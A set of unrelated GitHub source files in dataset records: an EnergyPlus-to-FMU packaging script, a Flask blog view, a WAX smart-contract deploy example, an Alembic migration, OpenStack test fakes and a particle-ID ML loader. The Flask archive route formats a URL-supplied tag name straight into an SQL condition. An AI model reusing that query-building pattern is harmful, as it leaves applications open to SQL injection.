import makeExportPrepApp\n except:\n quitWithError('Unable to import {makeExportPrepApp.py}', False)\n #\n # Get valid model identifier.\n modelIdName = os.path.basename(idfFileName)\n if( modelIdName.endswith('.idf') or modelIdName.endswith('.IDF') ):\n modelIdName = modelIdName[:-4]\n modelIdName = makeFMULib.sanitizeIdentifier(modelIdName)\n if( showDiagnostics ):\n printDiagnostic('Using model identifier {' +modelIdName +'}')\n #\n # Delete expected outputs if they already exist.\n # To prevent confusion in case of an error.\n OUT_modelDescFileName = 'modelDescription.xml'\n deleteFile(OUT_modelDescFileName)\n #\n OUT_variablesFileName = 'variables.cfg'\n deleteFile(OUT_variablesFileName)\n #\n OUT_workZipFileName = modelIdName +'.zip'\n deleteFile(OUT_workZipFileName)\n #\n OUT_fmuFileName = modelIdName +'.fmu'\n deleteFile(OUT_fmuFileName)\n #\n # Create export-prep application.\n # The resulting executable will extract FMU-related information from an\n # EnergyPlus IDF file.\n # Do not force a rebuild.\n if( showDiagnostics ):\n printDiagnostic('Checking for export-prep application')\n exportPrepExeName = makeExportPrepApp.makeExportPrepApp(showDiagnostics, litter, True, fmiVersion)\n #\n # Run the export-prep application.\n if( showDiagnostics ):\n printDiagnostic('Running export-prep application {' +exportPrepExeName +'}')\n runList = [os.path.join(os.path.curdir, exportPrepExeName)]\n if( wthFileName is not None ):\n runList.extend(['-w', wthFileName])\n runList.extend([iddFileName, idfFileName])\n subprocess.call(runList)\n if( (not os.path.isfile(OUT_modelDescFileName)) or (not os.path.isfile(OUT_variablesFileName)) ):\n quitWithError('Failed to extract FMU information from IDF file {' +idfFileName +'}', False)\n #\n # Create the shared library.\n (OUT_fmuSharedLibName, fmuBinDirName) = makeFMULib.makeFmuSharedLib(showDiagnostics, litter, modelIdName, fmiVersion)\n findFileOrQuit('shared library', OUT_fmuSharedLibName)\n #\n # Create zip file that will become the FMU.\n # Note to get compression, need zlib, but can proceed without it.\n try:\n import zlib\n if( showDiagnostics ):\n printDiagnostic('Creating zip file {' +OUT_workZipFileName +'}, with compression on')\n workZipFile = zipfile.ZipFile(OUT_workZipFileName, 'w', zipfile.ZIP_DEFLATED)\n except:\n # Here, either didn't find zlib, or couldn't create zip file.\n if( showDiagnostics ):\n printDiagnostic('Creating zip file {' +OUT_workZipFileName +'}, without compression')\n try:\n workZipFile = zipfile.ZipFile(OUT_workZipFileName, 'w', zipfile.ZIP_STORED)\n except:\n quitWithError('Failed to create zip file {' +OUT_workZipFileName +'}', False)\n #\n # Populate zip file.\n # Note fcn addToZipFile() closes the zip file if it encounters an error.\n addToZipFile(workZipFile, OUT_modelDescFileName, None, None)\n addToZipFile(workZipFile, idfFileName, 'resources', modelIdName+'.idf')\n addToZipFile(workZipFile, OUT_variablesFileName, 'resources', None)\n addToZipFile(workZipFile, iddFileName, 'resources', None)\n addToZipFile(workZipFile, exportPrepExeName, 'resources', None)\n if( wthFileName is not None ):\n addToZipFile(workZipFile, wthFileName, 'resources', None)\n addToZipFile(workZipFile, OUT_fmuSharedLibName, os.path.join('binaries',fmuBinDirName), None)\n #\n # Finish up zip file.\n if( showDiagnostics ):\n printDiagnostic('Renaming completed zip file {' +OUT_workZipFileName +'} to {' +OUT_fmuFileName +'}')\n workZipFile.close()\n findFileOrQuit('zip', OUT_workZipFileName)\n os.rename(OUT_workZipFileName, OUT_fmuFileName)\n #\n # Clean up intermediates.\n if( not litter ):\n if( showDiagnostics ):\n printDiagnostic('Cleaning up intermediate files')\n # deleteFile(exportPrepExeName) # Keep this executable, since it does not vary from run to run (i.e., not really intermediate).\n deleteFile(OUT_modelDescFileName)\n deleteFile(OUT_variablesFileName)\n deleteFile(OUT_fmuSharedLibName)\n #\n # End fcn exportEnergyPlusAsFMU().\n\n\n#--- Run if called from command line.\n#\n# If called from command line, {__name__} is \"__main__\". Otherwise,\n# {__name__} is base name of the script file, without \".py\".\n#\nif __name__ == '__main__':\n #\n # Set defaults for command-line options.\n iddFileName = None\n wthFileName = None\n fmiVersion = None\n showDiagnostics = False\n litter = False\n #\n # Get command-line options.\n lastIdx = len(sys.argv) - 1\n currIdx = 1\n while( currIdx < lastIdx ):\n currArg = sys.argv[currIdx]\n if( currArg.startswith('-i') ):\n currIdx += 1\n iddFileName = sys.argv[currIdx]\n if( showDiagnostics ):\n printDiagnostic('Setting IDD file to {' +iddFileName +'}')\n elif( currArg.startswith('-w') ):\n currIdx += 1\n wthFileName = sys.argv[currIdx]\n if( showDiagnostics ):\n printDiagnostic('Setting WTH file to {' +wthFileName +'}')\n elif( currArg.startswith('-a') ):\n currIdx += 1\n fmiVersion = sys.argv[currIdx]\n if( showDiagnostics ):\n printDiagnostic('Setting FMI API version (1 or 2) to {' +fmiVersion +'}')\n elif( currArg.startswith('-d') ):\n showDiagnostics = True\n elif( currArg.startswith('-L') ):\n litter = True\n else:\n quitWithError('Bad command-line option {' +currArg +'}', True)\n # Here, processed option at {currIdx}.\n currIdx += 1\n #\n # Get {idfFileName}.\n if( currIdx != lastIdx ):\n # Here, either an option like {-i} consumed the entry at {lastIdx}, or had\n # no options or arguments at all.\n quitWithError('Require exactly one command-line argument, ', True)\n idfFileName = sys.argv[lastIdx]\n if( showDiagnostics ):\n printDiagnostic('Setting IDF file to {' +idfFileName +'}')\n if( idfFileName.startswith('-') and len(idfFileName)==2 ):\n quitWithError('Expecting IDF file name, got what looks like a command-line option {' +idfFileName +'}', True)\n #\n # Get {iddFileName}.\n if( iddFileName is None ):\n quitWithError('Missing required input, ', True)\n # Get {FMI version}.\n if( fmiVersion is None ):\n fmiVersion = \"1.0\"\n printDiagnostic('FMI version is unspecified. It will be set to {' +fmiVersion +'}')\n if not (fmiVersion in [1, 2, \"1\", \"2\", \"1.0\", \"2.0\"]):\n quitWithError('FMI version \"1\" and \"2\" are supported, got FMI version {' +fmiVersion +'}', True)\n if (int(float(fmiVersion))==2):\n import struct\n nbits=8 * struct.calcsize(\"P\")\n ops=PLATFORM_SHORT_NAME+str(nbits)\n if( PLATFORM_NAME.startswith('lin') and str(nbits)=='64'):\n dirname, filename = os.path.split(os.path.abspath(__file__))\n incLinkerLibs = os.path.join(dirname, \"..\", \"SourceCode\", \"v20\",\n \"fmusdk-shared\", \"parser\", ops, \"libxml2.so.2\")\n printDiagnostic('\\nIMPORTANT NOTE: The FMU generated will run in the fmuChecker 2.0.4 only '\n 'if libxml2.so.2 is symbollicaly link to {' +incLinkerLibs +'}.\\n'\n ' This version of libxml2.so.2 has been compiled excluding zlib.'\n ' The official released version of libxml2.so.2 (version 2.9) '\n ' which includes zlib causes the FMU to fail in the fmuChecker.\\n'\n ' However, the FMU will work fine with master algorithms'\n ' such as PyFMI even if the FMU links to the official version of libxml2.\\n')\n if( PLATFORM_NAME.startswith('lin') and str(nbits)=='32'):\n quitWithError('FMI version 2.0 for Co-Simulation is not supported on {' +ops +'}', False)\n #if( PLATFORM_NAME.startswith('darwin')):\n # quitWithError('FMI version 2.0 for Co-Simulation is not supported on {' +ops +'}', False)\n\n # Run.\n exportEnergyPlusAsFMU(showDiagnostics, litter, iddFileName, wthFileName, int(float(fmiVersion)), idfFileName)\n\n\n#--- Copyright notice.\n#\n# Functional Mock-up Unit Export of EnergyPlus (C)2013, The Regents of\n# the University of California, through Lawrence Berkeley National\n# Laboratory (subject to receipt of any required approvals from\n# the U.S. Department of Energy). All rights reserved.\n#\n# If you have questions about your rights to use or distribute this software,\n# please contact Berkeley Lab's Technology Transfer Department at\n# TTD@lbl.gov.referring to \"Functional Mock-up Unit Export\n# of EnergyPlus (LBNL Ref 2013-088)\".\n#\n# NOTICE: This software was produced by The Regents of the\n# University of California under Contract No. DE-AC02-05CH11231\n# with the Department of Energy.\n# For 5 years from November 1, 2012, the Government is granted for itself\n# and others acting on its behalf a nonexclusive, paid-up, irrevocable\n# worldwide license in this data to reproduce, prepare derivative works,\n# and perform publicly and display publicly, by or on behalf of the Government.\n# There is provision for the possible extension of the term of this license.\n# Subsequent to that period or any extension granted, the Government is granted\n# for itself and others acting on its behalf a nonexclusive, paid-up, irrevocable\n# worldwide license in this data to reproduce, prepare derivative works,\n# distribute copies to the public, perform publicly and display publicly,\n# and to permit others to do so. The specific term of the license can be identified\n# by inquiry made to Lawrence Berkeley National Laboratory or DOE. Neither\n# the United States nor the United States Department of Energy, nor any of their employees,\n# makes any warranty, express or implied, or assumes any legal liability or responsibility\n# for the accuracy, completeness, or usefulness of any data, apparatus, product,\n# or process disclosed, or represents that its use would not infringe privately owned rights.\n#\n#\n# Copyright (c) 2013, The Regents of the University of California, Department\n# of Energy contract-operators of the Lawrence Berkeley National Laboratory.\n# All rights reserved.\n#\n# 1. Redistribution and use in source and binary forms, with or without modification,\n# are permitted provided that the following conditions are met:\n#\n# (1) Redistributions of source code must retain the copyright notice, this list\n# of conditions and the following disclaimer.\n#\n# (2) Redistributions in binary form must reproduce the copyright notice, this list\n# of conditions and the following disclaimer in the documentation and/or other\n# materials provided with the distribution.\n#\n# (3) Neither the name of the University of California, Lawrence Berkeley\n# National Laboratory, U.S. Dept. of Energy nor the names of its contributors\n# may be used to endorse or promote products derived from this software without\n# specific prior written permission.\n#\n# 2. THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS \"AS IS\"\n# AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED\n# WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED.\n# IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT,\n# INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING,\n# BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA,\n# OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY,\n# WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE)\n# ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE\n# POSSIBILITY OF SUCH DAMAGE.\n#\n# 3. You are under no obligation whatsoever to provide any bug fixes, patches,\n# or upgrades to the features, functionality or performance of the source code\n# (\"Enhancements\") to anyone; however, if you choose to make your Enhancements\n# available either publicly, or directly to Lawrence Berkeley National Laboratory,\n# without imposing a separate written license agreement for such Enhancements,\n# then you hereby grant the following license: a non-exclusive, royalty-free\n# perpetual license to install, use, modify, prepare derivative works, incorporate\n# into other computer software, distribute, and sublicense such enhancements or\n# derivative works thereof, in binary and source code form.\n#\n# NOTE: This license corresponds to the \"revised BSD\" or \"3-clause BSD\"\n# License and includes the following modification: Paragraph 3. has been added.\n","repo_name":"lbl-srg/EnergyPlusToFMU","sub_path":"Scripts/EnergyPlusToFMU.py","file_name":"EnergyPlusToFMU.py","file_ext":"py","file_size_in_byte":17816,"program_lang":"python","lang":"en","doc_type":"code","stars":36,"dataset":"github-code","pt":"48"} +{"seq_id":"23549458212","text":"import time\n\nfrom flask import Blueprint, render_template\nfrom core.lib.Db.Db import select_table\nfrom core.lib.Db.PostModle import PostModle\nfrom core.lib.Db.TagModle import TagModle\nbp = Blueprint('index', __name__, url_prefix='/')\n\n@bp.route(\"/\")\n@bp.route(\"/\")\ndef index(view=\"article\"):\n if view == \"daily\":\n condition = \"tags == '日记'\"\n else:\n condition = \"tags != '日记' and tags != '公告'\"\n top_posts = select_table(\n modle=PostModle(),\n limit=5,\n order_by='pid desc,create_date desc',\n condition=condition+\" and is_top=1\"\n )\n posts = select_table(\n modle=PostModle(),\n limit=5,\n order_by='pid desc,create_date desc',\n condition=condition+\" and is_top=0\"\n )\n\n\n recent_posts = select_table(\n modle=PostModle(),\n limit=15,\n order_by='pid desc,create_date desc',\n condition=\"tags != '日记' and tags != '公告' and visible=1\"\n )\n tags = select_table(\n modle=TagModle(),\n limit=15,\n order_by='count desc',\n )\n\n notice = select_table(\n modle=PostModle(),\n limit=3,\n condition=\"tags == '公告' and visible=1\",\n order_by='pid desc',\n )\n return render_template(\"article.html\",top_posts=top_posts,posts=posts,recent_posts=recent_posts,tags=tags,notice=notice)\n\n\n@bp.route(\"/archive/\")\ndef archive(order_by=\"date\"):\n archive_list = list()\n if \"date\" in order_by :\n for year in range(int(time.strftime(\"%Y\", time.localtime())),2019, -1):\n posts = select_table(\n col=['title','create_date'],\n modle=PostModle(),\n condition=\"tags!='日记' and tags!='通告' and create_date like '{}%'\".format(str(year)),\n order_by=\"create_date desc,pid desc\"\n )\n if len(posts) != 0:\n archive_list.append({\n \"year\":year,\n \"data\":posts\n })\n elif \"tag\" in order_by:\n tag_name = order_by.split(\"/\")[1]\n print(order_by.split(\"/\"))\n posts = select_table(\n col=['title', 'create_date'],\n modle=PostModle(),\n condition=\"tags!='日记' and tags!='通告' and tags = '{}'\".format(tag_name),\n order_by=\"create_date desc,pid desc\"\n )\n archive_list.append({\n \"year\": tag_name,\n \"data\": posts\n })\n return render_template(\"archive.html\",archive_list=archive_list)","repo_name":"fengyarnom/Hsunr","sub_path":"core/views/index.py","file_name":"index.py","file_ext":"py","file_size_in_byte":2540,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"34366687902","text":"\"\"\"Deploy a smart contract.\"\"\"\n\nimport pyntelope\n\nsetcode_data = [\n # data to set wasm file to account me.wam\n pyntelope.Data(\n name=\"account\",\n value=pyntelope.types.Name(\"me.wam\"),\n ),\n pyntelope.Data(\n name=\"vmtype\",\n value=pyntelope.types.Uint8(0), # almost always set to 0, has to be set\n ),\n pyntelope.Data(\n name=\"vmversion\",\n value=pyntelope.types.Uint8(0), # almost always set to 0, has to be set\n ),\n pyntelope.Data(\n name=\"code\", # select \"code\" field to set a wasm file\n value=pyntelope.types.Wasm.from_file(\n \"test_contract/test_contract.zip\"\n ), # path from current directory to wasm file\n ),\n]\n\nsetabi_data = [\n pyntelope.Data(\n name=\"account\",\n value=pyntelope.types.Name(\"me.wam\"),\n ),\n pyntelope.Data(\n name=\"abi\", # select \"abi\" field to set a abi file\n value=pyntelope.types.Abi.from_file(\n \"test_contract/test_contract.abi\"\n ), # path from current directory to abi file\n ),\n]\n\nauth = pyntelope.Authorization(actor=\"me.wam\", permission=\"active\")\n\nsetcode_action = pyntelope.Action(\n account=\"eosio\",\n name=\"setcode\",\n data=setcode_data,\n authorization=[auth],\n)\n\nsetabi_action = pyntelope.Action(\n account=\"eosio\",\n name=\"setabi\",\n data=setabi_data,\n authorization=[auth],\n)\n\nraw_transaction = pyntelope.Transaction(\n actions=[setabi_action, setcode_action]\n)\n\nnet = pyntelope.WaxTestnet()\nlinked_transaction = raw_transaction.link(net=net)\n\nkey = \"a_very_secret_key\"\nsigned_transaction = linked_transaction.sign(key=key)\n\nresp = signed_transaction.send()\n","repo_name":"FACINGS/pyntelope","sub_path":"examples/deploy_smart_contract.py","file_name":"deploy_smart_contract.py","file_ext":"py","file_size_in_byte":1668,"program_lang":"python","lang":"en","doc_type":"code","stars":9,"dataset":"github-code","pt":"48"} +{"seq_id":"43958135762","text":"\"\"\"empty message\n\nRevision ID: 3552c5acdf63\nRevises: fce2d02b9669\nCreate Date: 2021-06-19 22:00:40.048241\n\n\"\"\"\nfrom alembic import op\nimport sqlalchemy as sa\nfrom sqlalchemy.dialects import mysql\n\n# revision identifiers, used by Alembic.\nrevision = '3552c5acdf63'\ndown_revision = 'fce2d02b9669'\nbranch_labels = None\ndepends_on = None\n\n\ndef upgrade():\n # ### commands auto generated by Alembic - please adjust! ###\n op.alter_column('post', 'content',\n existing_type=mysql.VARCHAR(length=255),\n type_=sa.Text(),\n existing_nullable=False)\n # ### end Alembic commands ###\n\n\ndef downgrade():\n # ### commands auto generated by Alembic - please adjust! ###\n op.alter_column('post', 'content',\n existing_type=sa.Text(),\n type_=mysql.VARCHAR(length=255),\n existing_nullable=False)\n # ### end Alembic commands ###\n","repo_name":"skysea04/Scard","sub_path":"migrations/versions/3552c5acdf63_.py","file_name":"3552c5acdf63_.py","file_ext":"py","file_size_in_byte":906,"program_lang":"python","lang":"en","doc_type":"code","stars":9,"dataset":"github-code","pt":"48"} +{"seq_id":"40938290793","text":"import mock\n\nfrom openstackclient.tests import fakes\nfrom openstackclient.tests import utils\n\n\ndomain_id = 'd1'\ndomain_name = 'oftheking'\n\nDOMAIN = {\n 'id': domain_id,\n 'name': domain_name,\n}\n\ngroup_id = 'gr-010'\ngroup_name = 'spencer davis'\n\nGROUP = {\n 'id': group_id,\n 'name': group_name,\n}\n\nproject_id = '8-9-64'\nproject_name = 'beatles'\nproject_description = 'Fab Four'\n\nPROJECT = {\n 'id': project_id,\n 'name': project_name,\n 'description': project_description,\n 'enabled': True,\n 'domain_id': domain_id,\n}\n\nPROJECT_2 = {\n 'id': project_id + '-2222',\n 'name': project_name + ' reprise',\n 'description': project_description + 'plus four more',\n 'enabled': True,\n 'domain_id': domain_id,\n}\n\nrole_id = 'r1'\nrole_name = 'roller'\n\nROLE = {\n 'id': role_id,\n 'name': role_name,\n}\n\nservice_id = 's-123'\nservice_name = 'Texaco'\nservice_type = 'gas'\n\nSERVICE = {\n 'id': service_id,\n 'name': service_name,\n 'type': service_type,\n 'enabled': True,\n}\n\nuser_id = 'aaaaaaaa-aaaa-aaaa-aaaa-aaaaaaaaaaaa'\nuser_name = 'paul'\nuser_description = 'Sir Paul'\nuser_email = 'paul@applecorps.com'\n\nUSER = {\n 'id': user_id,\n 'name': user_name,\n 'project_id': project_id,\n 'email': user_email,\n 'enabled': True,\n 'domain_id': domain_id,\n}\n\ntoken_expires = '2014-01-01T00:00:00Z'\ntoken_id = 'tttttttt-tttt-tttt-tttt-tttttttttttt'\n\nTOKEN_WITH_TENANT_ID = {\n 'expires': token_expires,\n 'id': token_id,\n 'tenant_id': project_id,\n 'user_id': user_id,\n}\n\nTOKEN_WITH_DOMAIN_ID = {\n 'expires': token_expires,\n 'id': token_id,\n 'domain_id': domain_id,\n 'user_id': user_id,\n}\n\nidp_id = 'test_idp'\nidp_description = 'super exciting IdP description'\n\nIDENTITY_PROVIDER = {\n 'id': idp_id,\n 'enabled': True,\n 'description': idp_description\n}\n\n\nclass FakeIdentityv3Client(object):\n def __init__(self, **kwargs):\n self.domains = mock.Mock()\n self.domains.resource_class = fakes.FakeResource(None, {})\n self.groups = mock.Mock()\n self.groups.resource_class = fakes.FakeResource(None, {})\n self.projects = mock.Mock()\n self.projects.resource_class = fakes.FakeResource(None, {})\n self.roles = mock.Mock()\n self.roles.resource_class = fakes.FakeResource(None, {})\n self.services = mock.Mock()\n self.services.resource_class = fakes.FakeResource(None, {})\n self.service_catalog = mock.Mock()\n self.users = mock.Mock()\n self.users.resource_class = fakes.FakeResource(None, {})\n self.auth_token = kwargs['token']\n self.management_url = kwargs['endpoint']\n\n\nclass FakeFederatedClient(FakeIdentityv3Client):\n def __init__(self, **kwargs):\n super(FakeFederatedClient, self).__init__(**kwargs)\n\n self.identity_providers = mock.Mock()\n self.identity_providers.resource_class = fakes.FakeResource(None, {})\n\n\nclass TestIdentityv3(utils.TestCommand):\n def setUp(self):\n super(TestIdentityv3, self).setUp()\n\n self.app.client_manager.identity = FakeIdentityv3Client(\n endpoint=fakes.AUTH_URL,\n token=fakes.AUTH_TOKEN,\n )\n\n\nclass TestFederatedIdentity(utils.TestCommand):\n def setUp(self):\n super(TestFederatedIdentity, self).setUp()\n\n self.app.client_manager.identity = FakeFederatedClient(\n endpoint=fakes.AUTH_URL,\n token=fakes.AUTH_TOKEN\n )\n","repo_name":"UTSA-ICS/python-openstackclient-SID","sub_path":"openstackclient/tests/identity/v3/fakes.py","file_name":"fakes.py","file_ext":"py","file_size_in_byte":3424,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"44261503202","text":"from array import array\nimport math\nimport ROOT\nimport pandas as pd\nimport numpy as np\nimport collections\nimport keras\nimport matplotlib.pyplot as plt\nimport seaborn as sns\nfrom sklearn.externals import joblib\nfrom sys import exit\nfrom ROOT import (PndPidProbability, TFile, TClonesArray, TTree, AddressOf, TObject, gROOT, FairRootManager, TList, TNamed, FairRunAna)\nfrom ROOT import (PndPidMlAssociatorTask, FairRunAna, FairGeane, TFile, kFALSE, kTRUE, TStopwatch)\n\ndef loadmodel(x):\n '''\n loadmodel(string) -> sklearn.classifier\n \n Used to load the trained model.\n '''\n from xgboost import XGBClassifier\n x = str(x)\n #clf = keras.models.load_model(x)\n clf = joblib.load(x)\n return clf\n\n\ndef loadmyfile(x):\n '''\n loadmyfile(string) -> pandas DataFrame\n \n Accepts Root file of FairRoot Folder structure, extracts the features used in the training step, and return pandas\n DataFrame of the features.\n '''\n x = str(x)\n try:\n infile = ROOT.TFile.Open(x, 'read')\n if (infile.IsZombie()):\n print ('Error Opening Input File.')\n exit(-1)\n intree = infile.Get('cbmsim')\n PidChargedCand = ROOT.TClonesArray('PndPidCandidate')\n intree.GetBranch('PidChargedCand').SetAutoDelete(ROOT.kFALSE)\n intree.SetBranchAddress('PidChargedCand', ROOT.AddressOf(PidChargedCand))\n \n energy = array('d')\n charge = array('d')\n momentumx = array('d')\n momentumy = array('d')\n momentumz = array('d')\n momentum = array('d')\n position = array('d')\n MvdDEDX = array('d')\n MvdHits = array('i')\n SttMeanDEDX = array('d')\n SttHits = array('i')\n GemHits = array('i')\n TofStopTime = array('d')\n TofM2 = array('d')\n TofTrackLength = array('d')\n TofQuality = array('d')\n TofBeta = array('d')\n DrcThetaC = array('d')\n DrcQuality = array('d')\n DiscThetaC = array('d')\n DiscQuality = array('d')\n EmcRawEnergy = array('d')\n EmcCalEnergy = array('d')\n EmcQuality = array('d')\n EmcNumberOfCrystals = array('i')\n EmcNumberOfBumps = array('i')\n EmcModule = array('i')\n EmcZ20 = array('d')\n EmcZ53 = array('d')\n EmcLat = array('d')\n EmcE1 = array('d')\n EmcE9 = array('d')\n EmcE25 = array('d')\n MuoQuality = array('d')\n MuoIron = array('d')\n MuoMomentumIn = array('d')\n MuoNumberOfLayers = array('d')\n MuoModule = array('i')\n MuoHits = array('i')\n DegreesOfFreedom = array('d')\n ChiSquared = array('d')\n events = array('i')\n ii = 0\n \n for event in intree:\n ii = ii + 1\n for b in range(PidChargedCand.GetEntries()):\n events.append(ii)\n cand = PidChargedCand.At(b)\n energy.append(cand.GetEnergy())\n charge.append(cand.GetCharge())\n momentumx.append(cand.GetMomentum().X())\n momentumy.append(cand.GetMomentum().Y())\n momentumz.append(cand.GetMomentum().Z())\n mom = math.sqrt(math.pow(cand.GetMomentum().X(),2) + math.pow(cand.GetMomentum().Y(),2) + math.pow(cand.GetMomentum().Z(),2))\n momentum.append(mom)\n pos = math.sqrt(math.pow(cand.GetPosition().X(),2) + math.pow(cand.GetPosition().Y(),2) + math.pow(cand.GetPosition().Z(),2))\n position.append(pos)\n MvdDEDX.append(cand.GetMvdDEDX())\n MvdHits.append(cand.GetMvdHits())\n SttMeanDEDX.append(cand.GetSttMeanDEDX())\n SttHits.append(cand.GetSttHits())\n GemHits.append(cand.GetGemHits())\n TofStopTime.append(cand.GetTofStopTime())\n TofM2.append(cand.GetTofM2())\n TofTrackLength.append(cand.GetTofTrackLength())\n TofQuality.append(cand.GetTofQuality())\n TofBeta.append(cand.GetTofBeta())\n DrcThetaC.append(cand.GetDrcThetaC())\n DrcQuality.append(cand.GetDrcQuality())\n DiscThetaC.append(cand.GetDiscThetaC())\n DiscQuality.append(cand.GetDiscQuality())\n EmcRawEnergy.append(cand.GetEmcRawEnergy())\n EmcCalEnergy.append(cand.GetEmcCalEnergy())\n EmcQuality.append(cand.GetEmcQuality())\n EmcNumberOfCrystals.append(cand.GetEmcNumberOfCrystals())\n EmcNumberOfBumps.append(cand.GetEmcNumberOfBumps())\n EmcModule.append(cand.GetEmcModule())\n EmcZ20.append(cand.GetEmcClusterZ20())\n EmcZ53.append(cand.GetEmcClusterZ53())\n EmcLat.append(cand.GetEmcClusterLat())\n EmcE1.append(cand.GetEmcClusterE1())\n EmcE9.append(cand.GetEmcClusterE9())\n EmcE25.append(cand.GetEmcClusterE25())\n MuoQuality.append(cand.GetMuoQuality())\n MuoIron.append(cand.GetMuoIron())\n MuoMomentumIn.append(cand.GetMuoMomentumIn())\n MuoNumberOfLayers.append(cand.GetMuoNumberOfLayers())\n MuoModule.append(cand.GetMuoModule())\n MuoHits.append(cand.GetMuoHits())\n DegreesOfFreedom.append(cand.GetDegreesOfFreedom())\n ChiSquared.append(cand.GetChiSquared())\n\n features = collections.OrderedDict()\n #features['momentumx'] = np.array(momentumx)\n #features['momentumy'] = np.array(momentumy)\n #features['momentumz'] = np.array(momentumz)\n features['momentum'] = np.array(momentum)\n features['energy'] = np.array(energy)\n #features['charge'] = np.array(charge)\n #features['position'] = np.array(position) \n features['MvdDEDX'] = np.array(MvdDEDX)\n features['MvdHits'] = np.array(MvdHits) \n features['SttMeanDEDX'] = np.array(SttMeanDEDX)\n features['SttHits'] = np.array(SttHits)\n features['GemHits'] = np.array(GemHits) \n features['TofStopTime'] = np.array(TofStopTime)\n features['TofM2'] = np.array(TofM2)\n features['TofTrackLength'] = np.array(TofTrackLength)\n features['TofQuality'] = np.array(TofQuality)\n features['TofBeta'] = np.array(TofBeta)\n features['DrcThetaC'] = np.array(DrcThetaC)\n features['DrcQuality'] = np.array(DrcQuality)\n features['DiscThetaC'] = np.array(DiscThetaC)\n features['DiscQuality'] = np.array(DiscQuality)\n features['EmcRawEnergy'] = np.array(EmcRawEnergy)\n features['EmcCalEnergy'] = np.array(EmcCalEnergy)\n features['EmcQuality'] = np.array(EmcQuality)\n features['EmcNumberOfCrystals'] = np.array(EmcNumberOfCrystals)\n features['EmcNumberOfBumps'] = np.array(EmcNumberOfBumps)\n features['EmcModule'] = np.array(EmcModule)\n features['EmcZ20'] = np.array(EmcZ20)\n features['EmcZ53'] = np.array(EmcZ53)\n features['EmcLat'] = np.array(EmcLat)\n features['EmcE1'] = np.array(EmcE1)\n features['EmcE9'] = np.array(EmcE9)\n features['EmcE25'] = np.array(EmcE25)\n features['MuoQuality'] = np.array(MuoQuality)\n features['MuoIron'] = np.array(MuoIron)\n features['MuoMomentumIn'] = np.array(MuoMomentumIn)\n features['MuoNumberOfLayers'] = np.array(MuoNumberOfLayers)\n features['MuoModule'] = np.array(MuoModule)\n features['MuoHits'] = np.array(MuoHits)\n features['DegreesOfFreedom'] = np.array(DegreesOfFreedom)\n features['ChiSquared'] = np.array(ChiSquared)\n features['temp'] = np.array(events)\n \n Features = {#'momentumx': np.array(momentumx), \\\n #'momentumy': np.array(momentumy), \\\n #'momentumz': np.array(momentumz), \\\n 'momentum': np.array(momentum), \\\n 'energy' : np.array(energy), \\\n #'charge' : np.array(charge), \\\n #'position' : np.array(position), \\\n 'MvdDEDX' : np.array(MvdDEDX), \\\n 'MvdHits' : np.array(MvdHits), \\\n 'SttMeanDEDX' : np.array(SttMeanDEDX), \\\n 'SttHits' : np.array(SttHits), \\\n 'GemHits' : np.array(GemHits), \\\n 'TofStopTime' : np.array(TofStopTime), \\\n 'TofM2' : np.array(TofM2), \\\n 'TofTrackLength' : np.array(TofTrackLength), \\\n 'TofQuality' : np.array(TofQuality), \\\n 'TofBeta': np.array(TofBeta), \\\n 'DrcThetaC': np.array(DrcThetaC), \\\n 'DrcQuality' : np.array(DrcQuality),\n 'EmcRawEnergy' : np.array(EmcRawEnergy), \\\n 'EmcCalEnergy' : np.array(EmcCalEnergy), \\\n 'EmcQuality' : np.array(EmcQuality), \\\n 'EmcNumberOfCrystals' : np.array(EmcNumberOfCrystals), \\\n 'EmcNumberOfBumps' : np.array(EmcNumberOfBumps), \\\n 'EmcModule' : np.array(EmcModule), \\\n 'EmcZ20' : np.array(EmcZ20), \\\n 'EmcZ53' : np.array(EmcZ53), \\\n 'EmcLat' : np.array(EmcLat), \\\n 'EmcE1' : np.array(EmcE1), \\\n 'EmcE9' : np.array(EmcE9), \\\n 'EmcE25' : np.array(EmcE25), \\\n 'MuoQuality' : np.array(MuoQuality), \\\n 'MuoIron' : np.array(MuoIron), \\\n 'MuoMomentumIn' : np.array(MuoMomentumIn), \\\n 'MuoNumberOfLayers' : np.array(MuoNumberOfLayers), \\\n 'MuoModule' : np.array(MuoModule), \\\n 'MuoHits' : np.array(MuoHits), \\\n 'DegreesOfFreedom' : np.array(DegreesOfFreedom), \\\n 'ChiSquared' : np.array(ChiSquared), \\\n 'temp' : np.array(events)}\n \n my_df = pd.DataFrame(features)\n my_df['E/p'] = my_df.loc[:,'EmcCalEnergy']/my_df.loc[:,'momentum']\n #my_df['Pt'] = np.sqrt( my_df.loc[:,'momentumx']**2 + my_df.loc[:,'momentumy']**2 )\n #my_df = my_df.drop(['momentumx'], axis=1)\n #my_df = my_df.drop(['momentumy'], axis=1)\n my_df['events'] = my_df.loc[:,'temp']\n my_df = my_df.drop(['temp'], axis=1)\n print ('File loaded correctly, and the DataFrame is created.')\n return my_df\n \n except AttributeError:\n print ('Corrupt File or Tree.')\n \n \ndef predict(myfile, mymodel, flag=False):\n '''\n predict(string, string, boolean) -> pandas DataFrame\n \n Accepts three arguments, the first one is a Root file of FairRoot Folder structure that contains your simulated \n events,the second argument is the saved model, the third argument (optional) if true will print the entries of \n the DataFrame. Return pandas DataFrame of probabilities of being different particle species.\n '''\n from xgboost import XGBClassifier\n myfile = str(myfile)\n mymodel = str(mymodel)\n df = loadmyfile(myfile)\n entry_to_predict_on = df.iloc[:,0:-1]\n \n #from sklearn.preprocessing import StandardScaler\n #scaler = 